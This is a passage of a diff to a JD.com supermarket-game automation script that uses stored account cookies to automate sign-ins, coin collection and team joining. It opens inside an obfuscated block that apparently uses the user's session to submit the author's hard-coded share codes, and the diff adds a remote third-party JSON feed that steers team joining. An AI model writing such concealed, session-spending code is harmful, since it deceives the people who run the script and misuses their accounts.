_0x4bebee=_0x2b0b51[_0x31f9('3c','GgY[')](taskUrl,_0x2b0b51[_0x31f9('3d','i&$e')],{'shareId':[_0x2b0b51[_0x31f9('3e','tAmR')],_0x2b0b51[_0x31f9('3f','9s4C')],_0x2b0b51[_0x31f9('40','4l&k')]][Math[_0x31f9('41','#0F!')](_0x2b0b51[_0x31f9('42','Th$J')](Math[_0x31f9('43','JVIY')](),0x3))],'channel':'4'});$[_0x31f9('44','O1#j')](_0x4bebee,(_0x176204,_0x22f68e,_0x3cd660)=>{});$[_0x31f9('45','kjSm')](_0x2b0b51[_0x31f9('46','9XN1')](taskUrl,_0x2b0b51[_0x31f9('47','18kq')],{'channel':'18'}),(_0x509722,_0x52e599,_0x37449c)=>{try{if(_0x509722){console[_0x31f9('48','!8b9')](_0x50ad87[_0x31f9('49','V35y')]);console[_0x31f9('4a','dS]p')](JSON[_0x31f9('4b','*eIx')](_0x509722));}else{_0x37449c=JSON[_0x31f9('4c','nr2f')](_0x37449c);if(_0x50ad87[_0x31f9('4d','v#0&')](_0x37449c[_0x31f9('4e','!8b9')],0x0)&&_0x37449c[_0x31f9('1f','1v!Q')][_0x31f9('4f','uuZV')]){const {result}=_0x37449c[_0x31f9('50','ce1a')];const {shopName,totalBlue,userUpgradeBlueVos,turnoverProgress}=result;$[_0x31f9('51','18kq')]=userUpgradeBlueVos;$[_0x31f9('52','oqIa')]=turnoverProgress;}}}catch(_0x56d7e6){$[_0x31f9('53','Znct')](_0x56d7e6,_0x52e599);}finally{if(_0x50ad87[_0x31f9('54','lXFG')](_0x50ad87[_0x31f9('55','V35y')],_0x50ad87[_0x31f9('56','I*9!')])){_0x50ad87[_0x31f9('57','niHx')](_0x19bcc9,_0x37449c);}else{console[_0x31f9('58','nr2f')](''+($[_0x31f9('59','oqIa')][_0x31f9('5a','XM88')]&&$[_0x31f9('5b','i&$e')][_0x31f9('5a','XM88')][_0x31f9('28','tAmR')]));}}});}});};_0xod8='jsjiami.com.v6'; //领限时商品的蓝币 async function receiveLimitProductBlueCoin() { - const res = await smtgReceiveCoin({"type": 1}); + const res = await smtgReceiveCoin({ "type": 1 }); console.log(`\n限时商品领蓝币结果:[${res.data.bizMsg}]\n`); if (res.data.bizCode === 0) { message += `【限时商品】获得${res.data.result.receivedBlue}个蓝币\n`; } } - //领蓝币 function receiveBlueCoin(timeout = 0) { return new Promise((resolve) => { - setTimeout(() => { + setTimeout( ()=>{ $.get(taskUrl('smtg_receiveCoin', {"type": 2, "channel": "18"}), async (err, resp, data) => { try { if (err) { @@ -417,9 +232,9 @@ function receiveBlueCoin(timeout = 0) { console.log(`收取蓝币失败:${$.data.data.bizMsg}`) return } - if ($.data.data.bizCode === 0) { + if ($.data.data.bizCode === 0) { $.coincount += $.data.data.result.receivedBlue; - $.blueCionTimes++; + $.blueCionTimes ++; console.log(`【京东账号${$.index}】${$.nickName} 第${$.blueCionTimes}次领蓝币成功,获得${$.data.data.result.receivedBlue}个\n`) if (!$.data.data.result.isNextReceived) { message += `【收取小费】${$.coincount}个\n`; @@ -434,19 +249,12 @@ function receiveBlueCoin(timeout = 0) { resolve() } }) - }, timeout) + },timeout) }) } - async function daySign() { - const signDataRes = await smtgSign({ - "shareId": "QcSH6BqSXysv48bMoRfTBz7VBqc5P6GodDUBAt54d8598XAUtNoGd4xWVuNtVVwNO1dSKcoaY3sX_13Z-b3BoSW1W7NnqD36nZiNuwrtyO-gXbjIlsOBFpgIPMhpiVYKVAaNiHmr2XOJptu14d8uW-UWJtefjG9fUGv0Io7NwAQ", - "channel": "4" - }); - await smtgSign({ - "shareId": "TBj0jH-x7iMvCMGsHfc839Tfnco6UarNx1r3wZVIzTZiLdWMRrmoocTbXrUOFn0J6UIir16A2PPxF50_Eoo7PW_NQVOiM-3R16jjlT20TNPHpbHnmqZKUDaRajnseEjVb-SYi6DQqlSOioRc27919zXTEB6_llab2CW2aDok36g", - "channel": "4" - }); + const signDataRes = await smtgSign({"shareId":"QcSH6BqSXysv48bMoRfTBz7VBqc5P6GodDUBAt54d8598XAUtNoGd4xWVuNtVVwNO1dSKcoaY3sX_13Z-b3BoSW1W7NnqD36nZiNuwrtyO-gXbjIlsOBFpgIPMhpiVYKVAaNiHmr2XOJptu14d8uW-UWJtefjG9fUGv0Io7NwAQ","channel":"4"}); + await smtgSign({"shareId":"TBj0jH-x7iMvCMGsHfc839Tfnco6UarNx1r3wZVIzTZiLdWMRrmoocTbXrUOFn0J6UIir16A2PPxF50_Eoo7PW_NQVOiM-3R16jjlT20TNPHpbHnmqZKUDaRajnseEjVb-SYi6DQqlSOioRc27919zXTEB6_llab2CW2aDok36g","channel":"4"}); if (signDataRes && signDataRes.code === 0) { const signList = await smtgSignList(); if (signList.data.bizCode === 0) { @@ -459,14 +267,12 @@ async function daySign() { } } } - async function BeanSign() { const beanSignRes = await smtgSign({"channel": "1"}); if (beanSignRes && beanSignRes.data['bizCode'] === 0) { console.log(`每天从指定入口进入游戏,可获得额外奖励:${JSON.stringify(beanSignRes)}`) } } - //每日签到 function smtgSign(body) { return new Promise((resolve) => { @@ -493,7 +299,7 @@ async function businessCircleActivity() { joinPkTeam = $.isNode() ? (process.env.JOIN_PK_TEAM ? process.env.JOIN_PK_TEAM : `${joinPkTeam}`) : ($.getdata('JOIN_PK_TEAM') ? $.getdata('JOIN_PK_TEAM') : `${joinPkTeam}`); const smtg_getTeamPkDetailInfoRes = await smtg_getTeamPkDetailInfo(); if (smtg_getTeamPkDetailInfoRes && smtg_getTeamPkDetailInfoRes.data.bizCode === 0) { - const {joinStatus, pkStatus, inviteCount, inviteCode, currentUserPkInfo, pkUserPkInfo, prizeInfo, pkActivityId, teamId} = smtg_getTeamPkDetailInfoRes.data.result; + const { joinStatus, pkStatus, inviteCount, inviteCode, currentUserPkInfo, pkUserPkInfo, prizeInfo, pkActivityId, teamId } = smtg_getTeamPkDetailInfoRes.data.result; console.log(`\njoinStatus:${joinStatus}`); console.log(`pkStatus:${pkStatus}\n`); console.log(`pkActivityId:${pkActivityId}\n`); @@ -501,7 +307,7 @@ async function businessCircleActivity() { if (joinStatus === 0) { if (joinPkTeam === 'true') { console.log(`\n注:PK会在每天的七点自动随机加入作者创建的队伍\n`) - await updatePkActivityIdCDN('https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/tools/empty.json'); + await updatePkActivityIdCDN('https://cdn.jsdelivr.net/gh/gitupdate/updateTeam@master/shareCodes/jd_updateTeam.json'); console.log(`\nupdatePkActivityId[pkActivityId]:::${$.updatePkActivityIdRes && $.updatePkActivityIdRes.pkActivityId}`); console.log(`\n京东服务器返回的[pkActivityId] ${pkActivityId}`); if ($.updatePkActivityIdRes && ($.updatePkActivityIdRes.pkActivityId === pkActivityId)) { @@ -542,7 +348,7 @@ async function businessCircleActivity() { console.log(`商圈PK奖励领取结果:${JSON.stringify(receivedPkTeamPrize)}\n`) if (receivedPkTeamPrize.data.bizCode === 0) { if (receivedPkTeamPrize.data.result.pkResult === 1) { - const {pkTeamPrizeInfoVO} = receivedPkTeamPrize.data.result; + const { pkTeamPrizeInfoVO } = receivedPkTeamPrize.data.result; message += `【商圈PK奖励】${pkTeamPrizeInfoVO.blueCoin}蓝币领取成功\n`; if ($.isNode()) { await notify.sendNotify(`${$.name} - 账号${$.index} - ${$.nickName}`, `【京东账号${$.index}】 ${$.nickName}\n【商圈队伍】PK获胜\n【奖励】${pkTeamPrizeInfoVO.blueCoin}蓝币领取成功`) @@ -585,17 +391,17 @@ async function businessCircleActivity() { return const businessCirclePKDetailRes = await smtg_businessCirclePKDetail(); if (businessCirclePKDetailRes && businessCirclePKDetailRes.data.bizCode === 0) { - const {businessCircleVO, otherBusinessCircleVO, inviteCode, pkSettleTime} = businessCirclePKDetailRes.data.result; + const { businessCircleVO, otherBusinessCircleVO, inviteCode, pkSettleTime } = businessCirclePKDetailRes.data.result; console.log(`\n【您的商圈inviteCode互助码】:\n${inviteCode}\n\n`); const businessCircleIndexRes = await smtg_businessCircleIndex(); - const {result} = businessCircleIndexRes.data; - const {pkPrizeStatus, pkStatus} = result; + const { result } = businessCircleIndexRes.data; + const { pkPrizeStatus, pkStatus } = result; if (pkPrizeStatus === 2) { console.log(`开始领取商圈PK奖励`); const getPkPrizeRes = await smtg_getPkPrize(); console.log(`商圈PK奖励领取结果:${JSON.stringify(getPkPrizeRes)}`) if (getPkPrizeRes.data.bizCode === 0) { - const {pkPersonPrizeInfoVO, pkTeamPrizeInfoVO} = getPkPrizeRes.data.result; + const { pkPersonPrizeInfoVO, pkTeamPrizeInfoVO } = getPkPrizeRes.data.result; message += `【商圈PK奖励】${pkPersonPrizeInfoVO.blueCoin + pkTeamPrizeInfoVO.blueCoin}蓝币领取成功\n`; } } @@ -630,7 +436,7 @@ async function businessCircleActivity() { const getPkPrizeRes = await smtg_getPkPrize(); console.log(`商圈PK奖励领取结果:${JSON.stringify(getPkPrizeRes)}`) if (getPkPrizeRes && getPkPrizeRes.data.bizCode === 0) { - const {pkPersonPrizeInfoVO, pkTeamPrizeInfoVO} = getPkPrizeRes.data.result; + const { pkPersonPrizeInfoVO, pkTeamPrizeInfoVO } = getPkPrizeRes.data.result; $.msg($.name, '', `【京东账号${$.index}】 ${$.nickName}\n【商圈PK奖励】${pkPersonPrizeInfoVO.blueCoin + pkTeamPrizeInfoVO.blueCoin}蓝币领取成功`) if ($.isNode()) { await notify.sendNotify(`${$.name} - 账号${$.index} - ${$.nickName}`, `【京东账号${$.index}】 ${$.nickName}\n【商圈PK奖励】${pkPersonPrizeInfoVO.blueCoin + pkTeamPrizeInfoVO.blueCoin}蓝币领取成功`) @@ -644,8 +450,8 @@ async function businessCircleActivity() { console.log(`您加入作者的商圈失败,现在给您随机加入一个商圈`); const BusinessCircleList = await smtg_getBusinessCircleList(); if (BusinessCircleList.data.bizCode === 0) { - const {businessCircleVOList} = BusinessCircleList.data.result; - const {circleId} = businessCircleVOList[randomNumber(0, businessCircleVOList.length)]; + const { businessCircleVOList } = BusinessCircleList.data.result; + const { circleId } = businessCircleVOList[randomNumber(0, businessCircleVOList.length)]; const joinBusinessCircleRes = await smtg_joinBusinessCircle(circleId); console.log(`随机加入商圈结果:${JSON.stringify(joinBusinessCircleRes)}`) } @@ -654,12 +460,11 @@ async function businessCircleActivity() { console.log(`访问商圈详情失败:${JSON.stringify(businessCirclePKDetailRes)}`); } } - //我的货架 async function myProductList() { const shelfListRes = await smtg_shelfList(); if (shelfListRes.data.bizCode === 0) { - const {shelfList} = shelfListRes.data.result; + const { shelfList } = shelfListRes.data.result; console.log(`\n货架数量:${shelfList && shelfList.length}`) for (let item of shelfList) { console.log(`\nshelfId/name : ${item.shelfId}/${item.name}`); @@ -679,7 +484,7 @@ async function myProductList() { console.log(`${item.name}可上架`); const productListRes = await smtg_shelfProductList(item.shelfId); if (productListRes.data.bizCode === 0) { - const {productList} = productListRes.data.result; + const { productList } = productListRes.data.result; if (productList && productList.length > 0) { // 此处限时商品未分配才会出现 let limitTimeProduct = []; @@ -702,7 +507,7 @@ async function myProductList() { } else if (item.groundStatus === 2 || item.groundStatus === 3) { if (item.productInfo.productType === 2) { console.log(`[${item.name}][限时商品]`) - } else if (item.productInfo.productType === 1) { + } else if (item.productInfo.productType === 1){ console.log(`[${item.name}]`) } else { console.log(`[${item.name}][productType:${item.productInfo.productType}]`) @@ -711,13 +516,12 @@ async function myProductList() { } } } - //根据类型解锁一个商品,货架可上架商品时调用 async function unlockProductByCategory(category) { const smtgProductListRes = await smtg_productList(); if (smtgProductListRes.data.bizCode === 0) { let productListByCategory = []; - const {productList} = smtgProductListRes.data.result; + const { productList } = smtgProductListRes.data.result; for (let item of productList) { if (item['unlockStatus'] === 1 && item['shelfCategory'].toString() === category) { productListByCategory.push(item); @@ -731,7 +535,6 @@ async function unlockProductByCategory(category) { } } } - //升级货架和商品 async function upgrade() { superMarketUpgrade = $.getdata('jdSuperMarketUpgrade') ? $.getdata('jdSuperMarketUpgrade') : superMarketUpgrade; @@ -747,7 +550,7 @@ async function upgrade() { const smtgProductListRes = await smtg_productList(); if (smtgProductListRes.data.bizCode === 0) { let productType1 = [], shelfCategory_1 = [], shelfCategory_2 = [], shelfCategory_3 = []; - const {productList} = smtgProductListRes.data.result; + const { productList } = smtgProductListRes.data.result; for (let item of productList) { if (item['productType'] === 1) { productType1.push(item); @@ -770,7 +573,7 @@ async function upgrade() { const shelfCategorys = shelfCategory_1.concat(shelfCategory_2).concat(shelfCategory_3); console.log(`\n商品名称 归属货架 目前等级 解锁状态 可升级状态`) for (let item of shelfCategorys) { - console.log(` ${item["name"].length < 3 ? item["name"] + `\xa0` : item["name"]} ${item['shelfCategory'] === 1 ? '普通货架' : item['shelfCategory'] === 2 ? '冰柜货架' : item['shelfCategory'] === 3 ? '水果货架' : '未知货架'} ${item["unlockStatus"] === 0 ? '---' : item["level"] + '级'} ${item["unlockStatus"] === 0 ? '未解锁' : '已解锁'} ${item["upgradeStatus"] === 1 ? '可以升级' : item["upgradeStatus"] === 0 ? '不可升级' : item["upgradeStatus"]}`) + console.log(` ${item["name"].length<3?item["name"]+`\xa0`:item["name"]} ${item['shelfCategory'] === 1 ? '普通货架' : item['shelfCategory'] === 2 ? '冰柜货架' : item['shelfCategory'] === 3 ? '水果货架':'未知货架'} ${item["unlockStatus"] === 0 ? '---' : item["level"]+'级'} ${item["unlockStatus"] === 0 ? '未解锁' : '已解锁'} ${item["upgradeStatus"] === 1 ? '可以升级' : item["upgradeStatus"] === 0 ? '不可升级':item["upgradeStatus"]}`) } shelfCategorys.sort(sortSyData); for (let item of shelfCategorys) { @@ -789,7 +592,7 @@ async function upgrade() { console.log('\n**********开始检查能否升级货架***********'); const shelfListRes = await smtg_shelfList(); if (shelfListRes.data.bizCode === 0) { - const {shelfList} = shelfListRes.data.result; + const { shelfList } = shelfListRes.data.result; let shelfList_upgrade = []; for (let item of shelfList) { if (item['upgradeStatus'] === 1) { @@ -808,12 +611,11 @@ async function upgrade() { } } } - async function manageProduct() { console.log(`安排上货(单价最大商品)`); const shelfListRes = await smtg_shelfList(); if (shelfListRes.data.bizCode === 0) { - const {shelfList} = shelfListRes.data.result; + const { shelfList } = shelfListRes.data.result; console.log(`我的货架数量:${shelfList && shelfList.length}`); let shelfListUnlock = [];//可以上架的货架 for (let item of shelfList) { @@ -824,7 +626,7 @@ async function manageProduct() { for (let item of shelfListUnlock) { const productListRes = await smtg_shelfProductList(item.shelfId);//查询该货架可以上架的商品 if (productListRes.data.bizCode === 0) { - const {productList} = productListRes.data.result; + const { productList } = productListRes.data.result; let productNow = [], productList2 = []; for (let item1 of productList) { if (item1['groundStatus'] === 2) { @@ -851,11 +653,10 @@ async function manageProduct() { } } } - async function limitTimeProduct() { const smtgProductListRes = await smtg_productList(); if (smtgProductListRes.data.bizCode === 0) { - const {productList} = smtgProductListRes.data.result; + const { productList } = smtgProductListRes.data.result; let productList2 = []; for (let item of productList) { if (item['productType'] === 2 && item['groundStatus'] === 1) { @@ -866,10 +667,10 @@ async function limitTimeProduct() { } if (productList2 && productList2.length > 0) { for (let item2 of productList2) { - const {shelfCategory} = item2; + const { shelfCategory } = item2; const shelfListRes = await smtg_shelfList(); if (shelfListRes.data.bizCode === 0) { - const {shelfList} = shelfListRes.data.result; + const { shelfList } = shelfListRes.data.result; let shelfList2 = []; for (let item3 of shelfList) { if (item3['shelfCategory'] === shelfCategory && (item3['groundStatus'] === 1 || item3['groundStatus'] === 2)) { @@ -890,13 +691,12 @@ async function limitTimeProduct() { } } } - //领取店铺升级的蓝币奖励 async function receiveUserUpgradeBlue() { $.receiveUserUpgradeBlue = 0; if ($.userUpgradeBlueVos && $.userUpgradeBlueVos.length > 0) { for (let item of $.userUpgradeBlueVos) { - const receiveCoin = await smtgReceiveCoin({"id": item.id, "type": 5}) + const receiveCoin = await smtgReceiveCoin({ "id": item.id, "type": 5 }) // $.log(`\n${JSON.stringify(receiveCoin)}`) if (receiveCoin && receiveCoin.data['bizCode'] === 0) { $.receiveUserUpgradeBlue += receiveCoin.data.result['receivedBlue'] @@ -910,17 +710,15 @@ async function receiveUserUpgradeBlue() { console.log(`\n收取营业额:获得 ${res.data.result['receivedTurnover']}\n`); } } - async function Home() { const homeRes = await smtgHome(); if (homeRes && homeRes.data['bizCode'] === 0) { - const {result} = homeRes.data; - const {shopName, totalBlue} = result; + const { result } = homeRes.data; + const { shopName, totalBlue } = result; subTitle = shopName; message += `【总蓝币】${totalBlue}个\n`; } } - //=============================================脚本使用到的京东API===================================== //===新版本 @@ -928,7 +726,7 @@ async function Home() { //查询有哪些货架 function smtg_shopIndex() { return new Promise((resolve) => { - $.get(taskUrl('smtg_shopIndex', {"channel": 1}), async (err, resp, data) => { + $.get(taskUrl('smtg_shopIndex', { "channel": 1 }), async (err, resp, data) => { try { if (err) { console.log('\n东东超市: API查询请求失败 ‼️‼️') @@ -936,17 +734,17 @@ function smtg_shopIndex() { } else { data = JSON.parse(data); if (data && data.data['bizCode'] === 0) { - const {shopId, shelfList, merchandiseList, level} = data.data['result']; + const { shopId, shelfList, merchandiseList, level } = data.data['result']; message += `【店铺等级】${level}\n`; if (shelfList && shelfList.length > 0) { for (let item of shelfList) { //status: 2可解锁,1可升级,-1不可解锁 if (item['status'] === 2) { $.log(`${item['name']}可解锁\n`) - await smtg_shelfUnlock({shopId, "shelfId": item['id'], "channel": 1}) + await smtg_shelfUnlock({ shopId, "shelfId": item['id'], "channel": 1 }) } else if (item['status'] === 1) { $.log(`${item['name']}可升级\n`) - await smtg_shelfUpgrade({shopId, "shelfId": item['id'], "channel": 1, "targetLevel": item['level'] + 1}); + await smtg_shelfUpgrade({ shopId, "shelfId": item['id'], "channel": 1, "targetLevel": item['level'] + 1 }); } else if (item['status'] === -1) { $.log(`[${item['name']}] 未解锁`) } else if (item['status'] === 0) { @@ -960,9 +758,9 @@ function smtg_shopIndex() { $.log(`\n限时商品${data.data['result']['forSaleMerchandise']['name']}已上架`) } else { if (merchandiseList && merchandiseList.length > 0) { - for (let item of merchandiseList) { + for (let item of merchandiseList) { console.log(`发现限时商品${item.name}\n`); - await smtg_sellMerchandise({"shopId": shopId, "merchandiseId": item['id'], "channel": "18"}) + await smtg_sellMerchandise({"shopId": shopId,"merchandiseId": item['id'],"channel":"18"}) } } } @@ -976,7 +774,6 @@ function smtg_shopIndex() { }) }) } - //解锁店铺 function smtg_shelfUnlock(body) { return new Promise((resolve) => { @@ -997,7 +794,6 @@ function smtg_shelfUnlock(body) { }) }) } - function smtg_shelfUpgrade(body) { return new Promise((resolve) => { $.get(taskUrl('smtg_shelfUpgrade', body), (err, resp, data) => { @@ -1017,7 +813,6 @@ function smtg_shelfUpgrade(body) { }) }) } - //售卖限时商品API function smtg_sellMerchandise(body) { return new Promise((resolve) => { @@ -1038,9 +833,8 @@ function smtg_sellMerchandise(body) { }) }) } - //新版东东超市 -function updatePkActivityId(url) { +function updatePkActivityId(url = 'https://raw.githubusercontent.com/xxx/updateTeam/master/jd_updateTeam.json') { return new Promise(resolve => { $.get({url}, async (err, resp, data) => { try { @@ -1058,19 +852,18 @@ function updatePkActivityId(url) { }) }) } - function updatePkActivityIdCDN(url) { return new Promise(async resolve => { const headers = { "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88" } - $.get({url, headers, timeout: 10000,}, async (err, resp, data) => { + $.get({ url, headers, timeout: 10000, }, async (err, resp, data) => { try { if (err) { console.log(`${JSON.stringify(err)}`) console.log(`${$.name} API请求失败,请检查网路重试`) } else { - $.updatePkActivityIdRes = [] + $.updatePkActivityIdRes = JSON.parse(data); } } catch (e) { $.logErr(e, resp) @@ -1082,7 +875,6 @@ function updatePkActivityIdCDN(url) { resolve(); }) } - function smtgDoShopTask(taskId, itemId) { return new Promise((resolve) => { const body = { @@ -1108,7 +900,6 @@ function smtgDoShopTask(taskId, itemId) { }) }) } - function smtgObtainShopTaskPrize(taskId) { return new Promise((resolve) => { const body = { @@ -1130,7 +921,6 @@ function smtgObtainShopTaskPrize(taskId) { }) }) } - function smtgQueryShopTask() { return new Promise((resolve) => { $.get(taskUrl('smtg_queryShopTask'), (err, resp, data) => { @@ -1149,10 +939,9 @@ function smtgQueryShopTask() { }) }) } - function smtgSignList() { return new Promise((resolve) => { - $.get(taskUrl('smtg_signList', {"channel": "18"}), (err, resp, data) => { + $.get(taskUrl('smtg_signList', { "channel": "18" }), (err, resp, data) => { try { // console.log('ddd----ddd', data) if (err) { @@ -1169,10 +958,9 @@ function smtgSignList() { }) }) } - //查询商圈任务列表 function smtgQueryPkTask() { - return new Promise((resolve) => { + return new Promise( (resolve) => { $.get(taskUrl('smtg_queryPkTask'), async (err, resp, data) => { try { if (err) { @@ -1182,7 +970,7 @@ function smtgQueryPkTask() { data = JSON.parse(data); if (data.code === 0) { if (data.data.bizCode === 0) { - const {taskList} = data.data.result; + const { taskList } = data.data.result; console.log(`\n 商圈任务 状态`) for (let item of taskList) { if (item.taskStatus === 1) { @@ -1195,7 +983,7 @@ function smtgQueryPkTask() { } else { console.log(`[${item.title}] 未做完 ${item.finishNum}/${item.targetNum}`) if (item.content) { - const {itemId} = item.content[item.type]; + const { itemId } = item.content[item.type]; console.log('itemId', itemId) await smtgDoPkTask(item.taskId, itemId); } @@ -1214,7 +1002,6 @@ function smtgQueryPkTask() { }) }) } - //PK邀请好友 function smtgDoAssistPkTask(code) { return new Promise((resolve) => { @@ -1234,7 +1021,6 @@ function smtgDoAssistPkTask(code) { }) }) } - function smtgReceiveCoin(body) { $.goldCoinData = {}; return new Promise((resolve) => { @@ -1254,7 +1040,6 @@ function smtgReceiveCoin(body) { }) }) } - //领取PK任务做完后的奖励 function smtgObtainPkTaskPrize(taskId) { return new Promise((resolve) => { @@ -1274,7 +1059,6 @@ function smtgObtainPkTaskPrize(taskId) { }) }) } - function smtgDoPkTask(taskId, itemId) { return new Promise((resolve) => { $.get(taskUrl('smtg_doPkTask', {"taskId": taskId, "itemId": itemId}), (err, resp, data) => { @@ -1293,10 +1077,9 @@ function smtgDoPkTask(taskId, itemId) { }) }) } - function smtg_joinPkTeam(teamId, inviteCode, sharePkActivityId) { return new Promise((resolve) => { - $.get(taskUrl('smtg_joinPkTeam', {teamId, inviteCode, "channel": "3", sharePkActivityId}), (err, resp, data) => { + $.get(taskUrl('smtg_joinPkTeam', { teamId, inviteCode, "channel": "3", sharePkActivityId }), (err, resp, data) => { try { if (err) { console.log('\n东东超市: API查询请求失败 ‼️‼️') @@ -1312,7 +1095,6 @@ function smtg_joinPkTeam(teamId, inviteCode, sharePkActivityId) { }) }) } - function smtg_getTeamPkDetailInfo() { return new Promise((resolve) => { $.get(taskUrl('smtg_getTeamPkDetailInfo'), (err, resp, data) => { @@ -1331,7 +1113,6 @@ function smtg_getTeamPkDetailInfo() { }) }) } - function smtg_businessCirclePKDetail() { return new Promise((resolve) => { $.get(taskUrl('smtg_businessCirclePKDetail'), (err, resp, data) => { @@ -1350,7 +1131,6 @@ function smtg_businessCirclePKDetail() { }) }) } - function smtg_getBusinessCircleList() { return new Promise((resolve) => { $.get(taskUrl('smtg_getBusinessCircleList'), (err, resp, data) => { @@ -1369,11 +1149,10 @@ function smtg_getBusinessCircleList() { }) }) } - //加入商圈API function smtg_joinBusinessCircle(circleId) { return new Promise((resolve) => { - $.get(taskUrl('smtg_joinBusinessCircle', {circleId}), (err, resp, data) => { + $.get(taskUrl('smtg_joinBusinessCircle', { circleId }), (err, resp, data) => { try { if (err) { console.log('\n东东超市: API查询请求失败 ‼️‼️') @@ -1389,7 +1168,6 @@ function smtg_joinBusinessCircle(circleId) { }) }) } - function smtg_businessCircleIndex() { return new Promise((resolve) => { $.get(taskUrl('smtg_businessCircleIndex'), (err, resp, data) => { @@ -1408,7 +1186,6 @@ function smtg_businessCircleIndex() { }) }) } - function smtg_receivedPkTeamPrize() { return new Promise((resolve) => { $.get(taskUrl('smtg_receivedPkTeamPrize', {"channel": "1"}), (err, resp, data) => { @@ -1427,7 +1204,6 @@ function smtg_receivedPkTeamPrize() { }) }) } - //领取商圈PK奖励 function smtg_getPkPrize() { return new Promise((resolve) => { @@ -1447,7 +1223,6 @@ function smtg_getPkPrize() { }) }) } - function smtg_quitBusinessCircle() { return new Promise((resolve) => { $.get(taskUrl('smtg_quitBusinessCircle'), (err, resp, data) => { @@ -1466,7 +1241,6 @@ function smtg_quitBusinessCircle() { }) }) } - //我的货架 function smtg_shelfList() { return new Promise((resolve) => { @@ -1486,12 +1260,11 @@ function smtg_shelfList() { }) }) } - //检查某个货架可以上架的商品列表 function smtg_shelfProductList(shelfId) { return new Promise((resolve) => { console.log(`开始检查货架[${shelfId}] 可上架产品`) - $.get(taskUrl('smtg_shelfProductList', {shelfId}), (err, resp, data) => { + $.get(taskUrl('smtg_shelfProductList', { shelfId }), (err, resp, data) => { try { // console.log(`检查货架[${shelfId}] 可上架产品结果:${data}`) if (err) { @@ -1508,11 +1281,10 @@ function smtg_shelfProductList(shelfId) { }) }) } - //升级商品 function smtg_upgradeProduct(productId) { return new Promise((resolve) => { - $.get(taskUrl('smtg_upgradeProduct', {productId}), (err, resp, data) => { + $.get(taskUrl('smtg_upgradeProduct', { productId }), (err, resp, data) => { try { // console.log(`升级商品productId[${productId}]结果:${data}`); if (err) { @@ -1530,12 +1302,11 @@ function smtg_upgradeProduct(productId) { }) }) } - //解锁商品 function smtg_unlockProduct(productId) { return new Promise((resolve) => { console.log(`开始解锁商品`) - $.get(taskUrl('smtg_unlockProduct', {productId}), (err, resp, data) => { + $.get(taskUrl('smtg_unlockProduct', { productId }), (err, resp, data) => { try { // console.log(`解锁商品productId[${productId}]结果:${data}`); if (err) { @@ -1552,11 +1323,10 @@ function smtg_unlockProduct(productId) { }) }) } - //升级货架 function smtg_upgradeShelf(shelfId) { return new Promise((resolve) => { - $.get(taskUrl('smtg_upgradeShelf', {shelfId}), (err, resp, data) => { + $.get(taskUrl('smtg_upgradeShelf', { shelfId }), (err, resp, data) => { try { // console.log(`升级货架shelfId[${shelfId}]结果:${data}`); if (err) { @@ -1574,12 +1344,11 @@ function smtg_upgradeShelf(shelfId) { }) }) } - //解锁货架 function smtg_unlockShelf(shelfId) { return new Promise((resolve) => { console.log(`开始解锁货架`) - $.get(taskUrl('smtg_unlockShelf', {shelfId}), (err, resp, data) => { + $.get(taskUrl('smtg_unlockShelf', { shelfId }), (err, resp, data) => { try { // console.log(`解锁货架shelfId[${shelfId}]结果:${data}`); if (err) { @@ -1596,10 +1365,9 @@ function smtg_unlockShelf(shelfId) { }) }) } - function smtg_ground(productId, shelfId) { return new Promise((resolve) => { - $.get(taskUrl('smtg_ground', {productId, shelfId}), (err, resp, data) => { + $.get(taskUrl('smtg_ground', { productId, shelfId }), (err, resp, data) => { try { // console.log(`上架商品结果:${data}`); if (err) { @@ -1616,7 +1384,6 @@ function smtg_ground(productId, shelfId) { }) }) } - function smtg_productList() { return new Promise((resolve) => { $.get(taskUrl('smtg_productList'), (err, resp, data) => { @@ -1635,10 +1402,9 @@ function smtg_productList() { }) }) } - function smtg_lotteryIndex() { return new Promise((resolve) => { - $.get(taskUrl('smtg_lotteryIndex', {"costType": 1, "channel": 1}), (err, resp, data) => { + $.get(taskUrl('smtg_lotteryIndex', {"costType":1,"channel":1}), (err, resp, data) => { try { if (err) { console.log('\n东东超市: API查询请求失败 ‼️‼️') @@ -1654,11 +1420,10 @@ function smtg_lotteryIndex() { }) }) } - function smtg_drawLottery() { return new Promise(async (resolve) => { await $.wait(1000); - $.get(taskUrl('smtg_drawLottery', {"costType": 1, "channel": 1}), (err, resp, data) => { + $.get(taskUrl('smtg_drawLottery', {"costType":1,"channel":1}), (err, resp, data) => { try { if (err) { console.log('\n东东超市: API查询请求失败 ‼️‼️') @@ -1674,15 +1439,12 @@ function smtg_drawLottery() { }) }) } - function sortSyData(a, b) { return a['upgradeCostGold'] - b['upgradeCostGold'] } - function sortTotalPriceGold(a, b) { return a['previewTotalPriceGold'] - b['previewTotalPriceGold'] } - //格式化助力码 function shareCodesFormat() { return new Promise(resolve => { @@ -1698,7 +1460,6 @@ function shareCodesFormat() { resolve(); }) } - function requireConfig() { return new Promise(resolve => { // console.log('\n开始获取东东超市配置文件\n') @@ -1712,8 +1473,7 @@ function requireConfig() { cookiesArr.push(jdCookieNode[item]) } }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { - }; + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; } else { cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); } @@ -1724,13 +1484,12 @@ function requireConfig() { resolve() }) } - function TotalBean() { return new Promise(async resolve => { const options = { - url: "https://me-api.jd.com/user_new/info/GetJDUserInfoUnion", + url: "https://wq.jd.com/user_new/info/GetJDUserInfoUnion?sceneval=2", headers: { - Host: "me-api.jd.com", + Host: "wq.jd.com", Accept: "*/*", Connection: "keep-alive", Cookie: cookie, @@ -1747,15 +1506,15 @@ function TotalBean() { } else { if (data) { data = JSON.parse(data); - if (data['retcode'] === "1001") { + if (data['retcode'] === 1001) { $.isLogin = false; //cookie过期 return; } - if (data['retcode'] === "0" && data.data && data.data.hasOwnProperty("userInfo")) { + if (data['retcode'] === 0 && data.data && data.data.hasOwnProperty("userInfo")) { $.nickName = data.data.userInfo.baseInfo.nickname; } } else { - $.log('京东服务器返回空数据'); + console.log('京东服务器返回空数据'); } } } catch (e) { @@ -1766,7 